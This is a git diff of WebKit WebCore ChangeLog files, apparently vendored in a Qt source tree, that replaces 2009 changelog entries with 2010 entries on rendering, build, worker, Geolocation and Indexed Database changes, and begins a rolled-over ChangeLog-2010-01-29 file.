+        https://bugs.webkit.org/show_bug.cgi?id=34168
 
-        Add a SOFT_LINK_OPTIONAL macro
+        Enable FAST_MOBILE_SCROLLING for Qt on Maemo 5, Linux embedded
+        and Symbian
 
-        This macro is useful when soft-linking functions that are present in
-        only some versions of a particular library (e.g., APIs added in
-        Windows Vista that aren't available on Windows XP).
-
-        Reviewed by Ada Chan.
-
-        * platform/graphics/win/ColorSafari.cpp:
-        (WebCore::focusRingColor):
-        Use the SoftLinking.h macros instead of doing the soft-link ourselves.
-        Also removed an unused call to focusRingColor.isValid().
-
-        * platform/win/SoftLinking.h: Added SOFT_LINK_OPTIONAL.
-
-2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Gustavo Noronha.
-
-        Fixes: https://bugs.webkit.org/show_bug.cgi?id=26470.
-        The use of zero-width or zero-height rectangles in generating
-        gradients caused Windows Cairo to crash, and webkitgtk to
-        produce invalid images.
-
-        We now test for NaN in the phase argument, which is calculated
-        using fmodf and can blow up when the width/height values passed
-        are zero.
-
-        Test: fast/gradients/border-image-gradient-sides-and-corners.html
-
-        * platform/graphics/cairo/ImageCairo.cpp:
-        (WebCore::Image::drawPattern):
-
-2009-06-17  Ojan Vafai  <ojan@chromium.org>
+        * WebCore.pro:
 
-        Reviewed by Dimitri Glazkov.
+2010-01-31  Yury Semikhatsky  <yurys@chromium.org>
 
-        If loading a font fails because of the sandbox, we ask the browser process to
-        try to load it by calling ensureFontLoaded. If it still fails after
-        ensureFontLoaded, we hit a ASSERT_NOT_REACHED.
+        Reviewed by Pavel Feldman.
 
-        This case happens once in a while during browser shutdown. The browser will
-        queue a message to the renderer to shutdown, and will then stop answering sync
-        messages from the renderer. If the renderer is still loading a page during this
-        time, it might try to call the browser process to ask to load a font. The
-        browser process will ignore the request, and the font will fail to load, even
-        after the second try.
+        Make ScriptState destructor protected since all non-empty
+        ScriptStates are managed by GC. Remove obsolete constructor.
 
-        This is unfortunate, but there is no real risk here, since the renderer will be
-        going away as soon as it processes another message.
-        
-        This can't be layout tested as it depends on the sandbox.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26484
+        https://bugs.webkit.org/show_bug.cgi?id=34266
 
-        * platform/graphics/chromium/FontCacheChromiumWin.cpp:
-        (WebCore::fontContainsCharacter):
+        * bindings/v8/ScriptState.cpp:
+        * bindings/v8/ScriptState.h:
 
-2009-06-17  Eric Carlson  <eric.carlson@apple.com>
+2010-01-30  Simon Fraser  <simon.fraser@apple.com>
 
         Reviewed by Dan Bernstein.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26482
-        <rdar://problem/6978590> When setting playback rate to 0, the audio element stops 
-        playing (doesn't resume later)
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::setRate): Always set the rate, even when "paused".
-
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
-        (WebCore::MediaPlayerPrivate::setRate): Ditto.
-
-2009-06-17  Adam Roben  <aroben@apple.com>
-
-        Add all the generated JS*.cpp files back to WebCore.vcproj
-
-        They are not compiled by the vcproj directly. Instead they are
-        compiled as part of DerivedSources.cpp. Having them listed in the
-        vcproj makes them be included in Project Find, etc.
-
-        Rubber-stamped in advance by Steve Falkenburg.
-
-        * WebCore.vcproj/WebCore.vcproj:
-
-2009-06-17  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Don't fire redundant 'change' events for a file upload form.
-        https://bugs.webkit.org/show_bug.cgi?id=26471
-
-        * platform/FileChooser.cpp:
-        (WebCore::FileChooser::chooseFiles): Suppress change event if the
-        existing selected files and the incoming selected files are equal.
-        (WebCore::FileChooser::chooseIcon): Returns 0 if there is no selected
-        files.
-
-2009-06-17  Adam Treat  <adam.treat@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        https://bugs.webkit.org/show_bug.cgi?id=23155
-        Move WIN_CE -> WINCE as previously discussed with Qt WINCE folks.
-
-        * platform/KeyboardCodes.h:
-
-2009-06-17  George Staikos  <george.staikos@torchmobile.com>
-
-        Reviewed by Adam Treat.
-
-        https://bugs.webkit.org/show_bug.cgi?id=23155
-        Move WIN_CE -> WINCE as previously discussed with Qt WINCE folks.
-
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::GraphicsContext::getWindowsContext):
-        * platform/win/SystemTimeWin.cpp:
-        (WebCore::userIdleTime):
-
-2009-06-17  Adam Roben  <aroben@apple.com>
-
-        Speculative Mac build fix
-
-        * page/Page.h: Forward-declare RenderTheme instead of including
-        RenderTheme.h so that we don't need to make RenderTheme.h a private
-        header for WebKit's benefit.
-
-        * editing/SelectionController.cpp:
-        * rendering/InlineTextBox.cpp:
-        * rendering/RenderObject.cpp:
-        Added #includes of RenderTheme.h.
-
-2009-06-17  Adam Roben  <aroben@apple.com>
-
-        Speculative Mac build fix
-
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderTheme::create): Added.
-
-2009-06-17  Adam Roben  <aroben@apple.com>
-
-        Speculative Mac build fix
-
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderTheme::themeForPage): Remove the name of an unused
-        parameter.
-
-2009-06-17  Adam Roben  <aroben@apple.com>
-
-        Speculative Mac build fix
-
-        * page/Page.cpp:
-        (WebCore::Page::Page): Change the initializer order to match the
-        declaration order.
-
-2009-06-16  Kenneth Rohde Christiansen  <kenneth.christiansen@openbossa.org>
-
-        Reviewed by Simon Hausmann.
-
-        Follow up to bug https://bugs.webkit.org/show_bug.cgi?id=26278
-        Patch that make WebCore have a RenderTheme per page
+        Use CGGradient on Leopard and later, since it's faster than CGShading
+        https://bugs.webkit.org/show_bug.cgi?id=34384
 
-        Make the Qt implementation of RenderTheme create a theme per page,
-        and use the QStyle associated with the view of each page, in order
-        to make the QWidget setStyle() method work as advertised.
+        Use CGGradient on Leopard and later, rather than CGShading, for
+        performance.
 
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::RenderThemeQt):
-        (WebCore::RenderThemeQt::qStyle):
-        (WebCore::findFrameLineWidth):
-        (WebCore::inflateButtonRect):
-        (WebCore::RenderThemeQt::adjustRepaintRect):
-        (WebCore::RenderThemeQt::isControlStyled):
-        (WebCore::RenderThemeQt::computeSizeBasedOnStyle):
-        (WebCore::RenderThemeQt::setButtonPadding):
-        (WebCore::RenderThemeQt::paintButton):
-        (WebCore::RenderThemeQt::paintTextField):
-        (WebCore::RenderThemeQt::setPopupPadding):
-        * platform/qt/RenderThemeQt.h:
-
-2009-06-16  Kenneth Rohde Christiansen  <kenneth.christiansen@openbossa.org>
-
-        Reviewed by Dave Hyatt and Adam Roben.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26278
-        Patch that make WebCore have a RenderTheme per page
-
-
-        Create a different RenderTheme per page, so that RenderTheme has
-        access to page specific theming. This is needed for the Qt port, as Qt
-        supports setting the theme (style) per widget.
-
-        This change was suggested and discussed with Dave Hyatt.
-
-        More detailed:
-
-        1) Create a theme per page or one global one, depending on the needs
-           of the platform.
-        2) Add an accesser to the theme from RenderObject.
-        3) Change all uses of the theming to access the theme through
-           RenderObject, using the global default theme as fallback, when the
-           document of RenderObject has no page.
-           When we don't have access to a RenderObject, use the default theme.
-        4) Modify all RenderTheme platform implementations to work with the
-           above changes, still creating only one global theme.
-
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::boundingBoxRect):
-        * css/CSSStyleSelector.cpp:
-        (WebCore::loadFullDefaultStyle):
-        (WebCore::CSSStyleSelector::styleForElement):
-        (WebCore::CSSStyleSelector::adjustRenderStyle):
-        (WebCore::CSSStyleSelector::applyProperty):
-        * dom/ContainerNode.cpp:
-        (WebCore::ContainerNode::setActive):
-        (WebCore::ContainerNode::setHovered):
-        * editing/SelectionController.cpp:
-        (WebCore::SelectionController::focusedOrActiveStateChanged):
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::parseMappedAttribute):
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::setChecked):
-        (WebCore::HTMLInputElement::setIndeterminate):
-        * page/Frame.cpp:
-        (WebCore::Frame::selectionLayoutChanged):
-        * page/FrameView.cpp:
-        (WebCore::FrameView::updateControlTints):
-        * page/Page.cpp:
-        (WebCore::Page::Page):
-        * page/Page.h:
-        (WebCore::Page::theme):
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::PopupListBox::paintRow):
-        * platform/gtk/RenderThemeGtk.cpp:
-        (WebCore::RenderThemeGtk::create):
-        (WebCore::RenderTheme::themeForPage):
-        (WebCore::RenderThemeGtk::RenderThemeGtk):
-        (WebCore::RenderThemeGtk::~RenderThemeGtk):
-        (WebCore::RenderThemeGtk::gtkEntry):
-        (WebCore::RenderThemeGtk::gtkTreeView):
-        * platform/gtk/RenderThemeGtk.h:
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::create):
-        (WebCore::RenderTheme::themeForPage):
-        * platform/qt/RenderThemeQt.h:
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::paint):
-        * rendering/RenderMediaControls.cpp:
-        (WebCore::determineState):
-        * platform/wx/RenderThemeWx.cpp:
-        (WebCore::RenderThemeWx::create):
-        (WebCore::RenderTheme::themeForPage):
-        * rendering/InlineTextBox.cpp:
-        (WebCore::InlineTextBox::paintTextMatchMarker):
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlInputElement::hitTest):
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::theme):
-        * rendering/RenderObject.h:
-        * rendering/RenderTheme.cpp:
-        (WebCore::RenderTheme::adjustStyle):
-        * rendering/RenderTheme.h:
-        (WebCore::RenderTheme::defaultTheme):
-        * rendering/RenderThemeChromiumLinux.cpp:
-        (WebCore::RenderThemeChromiumLinux::create):
-        (WebCore::RenderTheme::themeForPage):
-        * rendering/RenderThemeChromiumLinux.h:
-        (WebCore::RenderThemeChromiumLinux::~RenderThemeChromiumLinux):
-        * rendering/RenderThemeChromiumMac.h:
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::RenderThemeChromiumMac::create):
-        (WebCore::RenderTheme::themeForPage):
-        * rendering/RenderThemeChromiumWin.cpp:
-        (WebCore::RenderThemeChromiumWin::create):
-        (WebCore::RenderTheme::themeForPage):
-        * rendering/RenderThemeChromiumWin.h:
-        (WebCore::RenderThemeChromiumWin::RenderThemeChromiumWin):
-        (WebCore::RenderThemeChromiumWin::~RenderThemeChromiumWin):
-        * rendering/RenderThemeMac.h:
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderTheme::themeForPage):
-        * rendering/RenderThemeSafari.cpp:
-        (WebCore::RenderThemeSafari::create):
-        (WebCore::RenderTheme::themeForPage):
-        * rendering/RenderThemeSafari.h:
-        * rendering/RenderThemeWin.cpp:
-        (WebCore::RenderThemeWin::create):
-        (WebCore::RenderTheme::themeForPage):
-        * rendering/RenderThemeWin.h:
-
-2009-06-17  Gavin Barraclough  <barraclough@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        <rdar://problem/6974175> ASSERT in JITStubs.cpp at appsaccess.apple.com
-
-        JSDOMWindowCustom was using PropertySlot::putValue, however this interface
-        appears to be fundaementally incorrect - PropertySlots are only used to get
-        values, all puts use PutPropertySlot.  However PutPropertySlot cannot be
-        used in the fashion desired here - it only reports the caching type of a
-        write that has been performed.
-
-        (This caused a bug where the put should have triggered a transition, and
-        failed to do so.)
-
-        Removing the faulty case from the optimization leads to a ~0.5% progression
-        on in-browser SunSpider (presumably the very first case was not being hit
-        often, and the simplification here is beneficial).
-
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::put):
-
-2009-06-17  David Levin  <levin@chromium.org>
-
-        Reviewed by NOBODY, layout tests fix.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26326
-        This reverts commit r44751.
-
-        Once that change was checked scrollbars/scrollbar-orientation.html started
-        crashing on Windows.
-
-        * dom/Document.cpp:
-        (WebCore::Document::detach):
-        * page/FrameView.cpp:
-        * page/FrameView.h:
-        * platform/Scrollbar.h:
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::destroy):
-        * rendering/RenderScrollbar.h:
-
-2009-06-16  Kevin Watters  <kevinwatters@gmail.com>
-
-        Reviewed by Kevin Ollivier.
-
-        In ImageSource::setData, delete the old m_encoder before replacing it with a new one.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26458
-
-        * platform/graphics/wx/ImageSourceWx.cpp:
-        (WebCore::ImageSource::setData):
-
-2009-06-16  David Levin  <levin@chromium.org>
-
-        Reviewed by David Hyatt.
-
-        REGRESSION: When the main page (ScrollView) has a custom scrollbar, it crashes on destruction.
-        https://bugs.webkit.org/show_bug.cgi?id=26326
+        * platform/graphics/Gradient.h:
+        * platform/graphics/Gradient.cpp:
+        (WebCore::Gradient::sortStopsIfNecessary): Utility method to sort stops.
+        Did not call this from getColor() to avoid overhead of a function call.
 
-        Test: scrollbars/scrollbar-crash-on-refresh.html
+        * platform/graphics/cg/GradientCG.cpp:
+        (WebCore::Gradient::platformDestroy): Use CGGradientRelease() post-Tiger.
+        (WebCore::Gradient::platformGradient): Create and return a CGGradientRef post-Tiger.
+        (WebCore::Gradient::fill): Call new paint() method.
+        (WebCore::Gradient::paint): New convenence method that avoids testing
+        isRadial() in a bunch of other places.
 
-        * dom/Document.cpp:
-        (WebCore::Document::detach):
-        Gives the FrameView a change to do any necessary cleanup on
-        Document::detach() which is where the renderArena gets detroyed.
-        * page/FrameView.cpp:
-        (WebCore::FrameView::detachCustomScrollbars):
-        Gets rid of any custom scrollbars (if the docment supplied them).
-        * page/FrameView.h:
-        * platform/Scrollbar.h:
-        (WebCore::Scrollbar::isCustomScrollbar):
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::destroy):
-        Removed the check for document()->frame().  If frame() is 0 in this code,
-        then the call to animation() is also incorrect (since it does document()->frame()->animation()).
-        * rendering/RenderScrollbar.h:
-        (WebCore::RenderScrollbar::isCustomScrollbar):
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::fillPath): Call the gradient's paint() method.
+        (WebCore::GraphicsContext::strokePath): Ditto
+        (WebCore::GraphicsContext::fillRect): Ditto
+        (WebCore::GraphicsContext::strokeRect): Ditto
 
-2009-06-16  Brian Weinstein  <bweinstein@apple.com>
+2010-01-30  Simon Fraser  <simon.fraser@apple.com>
 
         Reviewed by Adele Peterson.
 
-        Fix of <rdar://6967547> Ctrl-C copies null value erasing text in clipboard in Safari.
-        This patch kept the way events were firing as they were before, and Windows events are
-        consistent with Mac.       
-
-        * editing/Editor.cpp:
-        (WebCore::Editor::tryDHTMLCopy): Added check for canCopy() before clearing PasteBoard
-        (WebCore::Editor::tryDHTMLCut): Added check for canCut() before clearing PasteBoard
-
-2009-06-16  Antti Koivisto  <antti@apple.com>
-
-        Reviewed by Brady Eidson.
-
-        <rdar://problem/6660037> CrashTracer: [USER] 46 crashes in Safari at com.apple.WebCore • WebCore::CachedCSSStyleSheet::addClient 53
-        
-        When revalidating a resource, calling addClient() on one client might cause another to get removed.
+        Do color animations on premultiplied colors
+        https://bugs.webkit.org/show_bug.cgi?id=34383
         
-        - made CachedResource::addClient() non-virtual and added virtual didAddClient()
-        - in CachedResource::switchClientsToRevalidatedResource() add all clients to the client set of the revalidated resource first
-        - check if the client is still in the set before invoking didAddClient() for it
-        
-        No test case, I didn't manage to construct one. You need some combination of 304 revalidation, stylesheets that
-        reference each other via @imports and reloading.
-
-        * WebCore.base.exp:
-        * loader/CachedCSSStyleSheet.cpp:
-        (WebCore::CachedCSSStyleSheet::didAddClient):
-        * loader/CachedCSSStyleSheet.h:
-        * loader/CachedFont.cpp:
-        (WebCore::CachedFont::didAddClient):
-        * loader/CachedFont.h:
-        * loader/CachedImage.cpp:
-        (WebCore::CachedImage::didAddClient):
-        * loader/CachedImage.h:
-        * loader/CachedResource.cpp:
-        (WebCore::CachedResource::addClient):
-        (WebCore::CachedResource::addClientToSet):
-        (WebCore::CachedResource::switchClientsToRevalidatedResource):
-        * loader/CachedResource.h:
-        * loader/CachedScript.cpp:
-        (WebCore::CachedScript::didAddClient):
-        * loader/CachedScript.h:
-        * loader/CachedXSLStyleSheet.cpp:
-        (WebCore::CachedXSLStyleSheet::didAddClient):
-        * loader/CachedXSLStyleSheet.h:
-
-2009-06-16  Simon Fraser  <simon.fraser@apple.com>
-
-        No Review
-
-        Fix code inside an #ifdef that draws the video framerate.
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::paint):
-
-2009-06-16  Jian Li  <jianli@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
+        Convert colors to premultiplied alpha before interpolating them,
+        then convert the result back to non-premultiplied. This gives better
+        results when animating from transparent colors.
 
-        Bug 26456: Hook up V8 bindings for Worker's importScripts functionality.
-        https://bugs.webkit.org/show_bug.cgi?id=26456
+        Test: transitions/color-transition-premultiplied.html
 
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerCustom.cpp: Fixed missing exception code
-          handling in Worker constructor for V8 bindings.
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-06-16  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Maciej Stachowiak.
-
-        Update of https://bugs.webkit.org/show_bug.cgi?id=26353.
-        Provide an assignment operator to avoid improper reference
-        counts on the Cairo font objects.  This brings the Windows
-        Cairo port in line with the GTKport.
-
-        * platform/graphics/win/FontPlatformData.h:
-        * platform/graphics/win/FontPlatformDataCairoWin.cpp:
-        (WebCore::FontPlatformData::FontPlatformData):
-        (WebCore::FontPlatformData::operator=):
-
-2009-06-16  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        Fix for <rdar://problem/6890126> Theme code should fetch the MediaControlElementType from 
-        the MediaControlInputElement, rather than computing it again
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::percentLoaded): New, utility function for controller implementation.
-        * html/HTMLMediaElement.h:
-
-        * rendering/MediaControlElements.h:
-        (WebCore::MediaControlInputElement::displayType): New, return m_displayType.
-
-        * rendering/RenderMediaControls.cpp:
-        (WebCore::RenderMediaControls::paintMediaControlsPart): Stop using MediaPlayer object, get button
-        state from the button itself and get movie state from HTMLMediaElement.
-
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::paintMediaMuteButton): Get state from button instead of MediaPlayer.
-        (WebCore::RenderThemeMac::paintMediaPlayButton): Ditto.
-
-2009-06-16  Jian Li  <jianli@chromium.org>
-
-        Reviewed by David Levin.
-
-        Bug 26450: Rename values of enum RedirectOriginCheck to make them
-        clearer.
-        https://bugs.webkit.org/show_bug.cgi?id=26450
-
-        * loader/DocumentThreadableLoader.cpp:
-        (WebCore::DocumentThreadableLoader::create):
-        (WebCore::DocumentThreadableLoader::DocumentThreadableLoader):
-        (WebCore::DocumentThreadableLoader::willSendRequest):
-        * loader/DocumentThreadableLoader.h:
-        * loader/ThreadableLoader.cpp:
-        (WebCore::ThreadableLoader::create):
-        (WebCore::ThreadableLoader::loadResourceSynchronously):
-        * loader/ThreadableLoader.h:
-        * workers/Worker.cpp:
-        (WebCore::Worker::Worker):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::importScripts):
-        * loader/WorkerThreadableLoader.cpp:
-        (WebCore::WorkerThreadableLoader::WorkerThreadableLoader):
-        (WebCore::WorkerThreadableLoader::loadResourceSynchronously):
-        (WebCore::WorkerThreadableLoader::MainThreadBridge::MainThreadBridge):
-        (WebCore::WorkerThreadableLoader::MainThreadBridge::mainThreadCreateLoader):
-        * loader/WorkerThreadableLoader.h:
-        (WebCore::WorkerThreadableLoader::create):
-        * workers/WorkerScriptLoader.cpp:
-        (WebCore::WorkerScriptLoader::loadSynchronously):
-        (WebCore::WorkerScriptLoader::loadAsynchronously):
-        * workers/WorkerScriptLoader.h:
-        (WebCore::WorkerContext::importScripts):
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::loadRequestAsynchronously):
-
-2009-06-16  Tony Chang  <tony@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Fix a UMR in WebCore::BitStack by initializing new memory to 0.
-        https://bugs.webkit.org/show_bug.cgi?id=26449
-        No new tests, covered by purify.
-
-        * editing/TextIterator.cpp:
-        (WebCore::BitStack::push):
-
-2009-06-16  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Xan Lopez.
-
-        Test: fast/multicol/columns-shorthand-parsing.html 
-
-        Fixes https://bugs.webkit.org/show_bug.cgi?id=26453.
-        Null Cairo contextwill crash Windows Cairo build.
-
-        * platform/graphics/win/GraphicsContextCairoWin.cpp:
-        (WebCore::GraphicsContextPlatformPrivate::syncContext):
-          Add a check for null context before attempting to
-          retrieve the Cairo surface.
-
-2009-06-16  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Xan Lopez.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26447
-        Fix animated GIF breakage in Cairo/wx ports.
-
-        * platform/image-decoders/cairo/ImageDecoderCairo.cpp:
-        (WebCore::RGBA32Buffer::copyBitmapData):
-        (WebCore::RGBA32Buffer::operator=):
-        * platform/image-decoders/wx/ImageDecoderWx.cpp:
-        (WebCore::RGBA32Buffer::copyBitmapData):
-        (WebCore::RGBA32Buffer::operator=):
-
-2009-06-16  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by John Sullivan
-        
-        <rdar://problem/6937882>
-        
-        Tweak "time remaining" and "time elapsed" fields in the overlay video controller.
-
-        * css/mediaControlsQT.css:
-
-2009-06-16  Jian Li  <jianli@chromium.org>
-
-        Reviewed by Adam Barth and David Levin.
+        * page/animation/AnimationBase.cpp:
+        (WebCore::blendFunc):
 
-        Bug 26146: Change to use ThreadableLoader to load the worker script
-        in order to check URL origin for redirection.
-        https://bugs.webkit.org/show_bug.cgi?id=26146
+2010-01-30  Gustavo Noronha Silva  <gns@gnome.org>
 
-        Test: http/tests/workers/worker-redirect.html
+        Build fixes needed for make distcheck.
 
         * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * workers/Worker.cpp:
-        (WebCore::Worker::Worker):
-        (WebCore::Worker::notifyFinished):
-        * workers/Worker.h:
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::importScripts):
-        * workers/WorkerImportScriptsClient.cpp: Removed.
-        * workers/WorkerImportScriptsClient.h: Removed.
-        * workers/WorkerScriptLoader.cpp: Renamed from workers/WorkerImportScriptsClient.cpp.
-          This to make it more generic so worker script loading could use it.
-        (WebCore::WorkerScriptLoader::loadSynchronously):
-        (WebCore::WorkerScriptLoader::loadAsynchronously):
-        (WebCore::WorkerScriptLoader::didFinishLoading):
-        (WebCore::WorkerScriptLoader::didFail):
-        (WebCore::WorkerScriptLoader::didFailRedirectCheck):
-        (WebCore::WorkerScriptLoader::didReceiveAuthenticationCancellation):
-        (WebCore::WorkerScriptLoader::notifyFinished):
-        * workers/WorkerScriptLoader.h: Renamed from workers/WorkerImportScriptsClient.h.
-          This to make it more generic so worker script loading could use it.
-        * workers/WorkerScriptLoaderClient.h: Added.
-
-2009-06-16  Brent Fulgham  <bfulgham@gmail.com>
-
-        Reviewed by Darin Adler.
-
-        Use consistent GUID comparison functions.
-        https://bugs.webkit.org/show_bug.cgi?id=26427
-
-        * platform/win/WCDataObject.cpp:
-        (WebCore::WCDataObject::QueryInterface):
-
-2009-06-16  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        Fix compiler warning.
 
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (webkit_accessible_class_init):
-
-2009-08-07  Luke Kenneth Casson Leighton  <lkcl@lkcl.net>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27424
-
-        * WebKit/gtk/gdom/ConvertToGCharPrivate.h: Added.
-        (copyAsGChar): added to help GObject bindings convert various types to glib's gchar* 
+2010-01-29  Mark Rowe  <mrowe@apple.com>
 
-2009-06-16  Xan Lopez  <xlopez@igalia.com>
+        Stop copying an IDL file in to the framework wrapper.
 
-        Reviewed by Gustavo Noronha.
+        * WebCore.xcodeproj/project.pbxproj:
 
-        Remove dummy AtkStreamableContent implementation.
+2010-01-29  Mark Rowe  <mrowe@apple.com>
 
-        It's completely empty, we'll add it back (and conditionally
-        instead of unconditionally) when it does something.
+        Sort Xcode projects.
 
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (GetAtkInterfaceTypeFromWAIType):
-        (getInterfaceMaskFromObject):
+        * WebCore.xcodeproj/project.pbxproj:
 
-== Rolled over to ChangeLog-2009-06-16 ==
+== Rolled over to ChangeLog-2010-01-29 ==
diff --git a/src/3rdparty/webkit/WebCore/ChangeLog-2010-01-29 b/src/3rdparty/webkit/WebCore/ChangeLog-2010-01-29
new file mode 100644
index 0000000..cce1125
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/ChangeLog-2010-01-29
@@ -0,0 +1,98486 @@
+2010-01-29  Mark Rowe  <mrowe@apple.com>
+
+        Fix the Mac build.
+
+        Disable ENABLE_INDEXED_DATABASE since it is "completely non-functional".
+
+        As the comment in FeatureDefines.xcconfig notes, the list of feature defines
+        needs to be kept in sync across the various files.  The default values also
+        need to be kept in sync between these files and build-webkit.
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2010-01-29  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Timeout for client-based Geolocation shouldn't start until user gives consent
+        https://bugs.webkit.org/show_bug.cgi?id=34352
+
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::startRequest): Don't start timer if we're blocked on user consent.
+        (WebCore::Geolocation::setIsAllowed): Start timer after user gives consent.
+
+2010-01-29  Jakob Petsovits  <jpetsovits@rim.com>
+
+        Reviewed by Nikolas Zimmermann.
+
+        [OpenVG] Implement more graphics primitives
+        https://bugs.webkit.org/show_bug.cgi?id=34339
+
+        Adds lines, arcs, ellipses, polygons and rounded
+        rectangles to PainterOpenVG and GraphicsContext.
+
+        Rounded rects support by Eli Fidler <efidler@rim.com>.
+
+        * platform/graphics/openvg/GraphicsContextOpenVG.cpp:
+        (WebCore::GraphicsContext::drawLine):
+        (WebCore::GraphicsContext::drawEllipse):
+        (WebCore::GraphicsContext::strokeArc):
+        (WebCore::GraphicsContext::drawConvexPolygon):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::drawFocusRing):
+        (WebCore::GraphicsContext::drawLineForText):
+        (WebCore::GraphicsContext::clearRect):
+        (WebCore::GraphicsContext::strokeRect):
+        * platform/graphics/openvg/PainterOpenVG.cpp:
+        (WebCore::PainterOpenVG::drawRect):
+        (WebCore::PainterOpenVG::drawRoundedRect):
+        (WebCore::PainterOpenVG::drawLine):
+        (WebCore::PainterOpenVG::drawArc):
+        (WebCore::PainterOpenVG::drawEllipse):
+        (WebCore::PainterOpenVG::drawPolygon):
+        * platform/graphics/openvg/PainterOpenVG.h:
+
+2010-01-29  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        A first step towards the Indexed Database API
+        https://bugs.webkit.org/show_bug.cgi?id=34342
+
+        Flesh out the first part of Indexed Database API.
+        Currently only compiles with v8 + chromium for now.
+        Completely non-functional, but it seems best to do
+        this in chunks.
+
+        No tests because nothing works yet.
+
+        * Configurations/FeatureDefines.xcconfig:
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/RuntimeEnabledFeatures.cpp:
+        * bindings/v8/RuntimeEnabledFeatures.h:
+        (WebCore::RuntimeEnabledFeatures::setIndexedDatabaseEnabled):
+        (WebCore::RuntimeEnabledFeatures::indexedDatabaseEnabled):
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::IndexedDBEnabled):
+        * bindings/v8/custom/V8IDBRequestCustom.cpp: Added.
+        (WebCore::V8IDBRequest::resultAccessorGetter):
+        * bindings/v8/custom/V8IndexedDatabaseRequestCustom.cpp: Added.
+        (WebCore::V8IndexedDatabaseRequest::openCallback):
+        * dom/EventNames.h:
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::indexedDB):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        * storage/IDBDatabaseError.h: Added.
+        (WebCore::IDBDatabaseError::create):
+        (WebCore::IDBDatabaseError::~IDBDatabaseError):
+        (WebCore::IDBDatabaseError::code):
+        (WebCore::IDBDatabaseError::setCode):
+        (WebCore::IDBDatabaseError::message):
+        (WebCore::IDBDatabaseError::setMessage):
+        (WebCore::IDBDatabaseError::IDBDatabaseError):
+        * storage/IDBDatabaseError.idl: Added.
+        * storage/IDBDatabaseException.h: Added.
+        (WebCore::IDBDatabaseException::create):
+        (WebCore::IDBDatabaseException::~IDBDatabaseException):
+        (WebCore::IDBDatabaseException::code):
+        (WebCore::IDBDatabaseException::setCode):
+        (WebCore::IDBDatabaseException::message):
+        (WebCore::IDBDatabaseException::setMessage):
+        (WebCore::IDBDatabaseException::IDBDatabaseException):
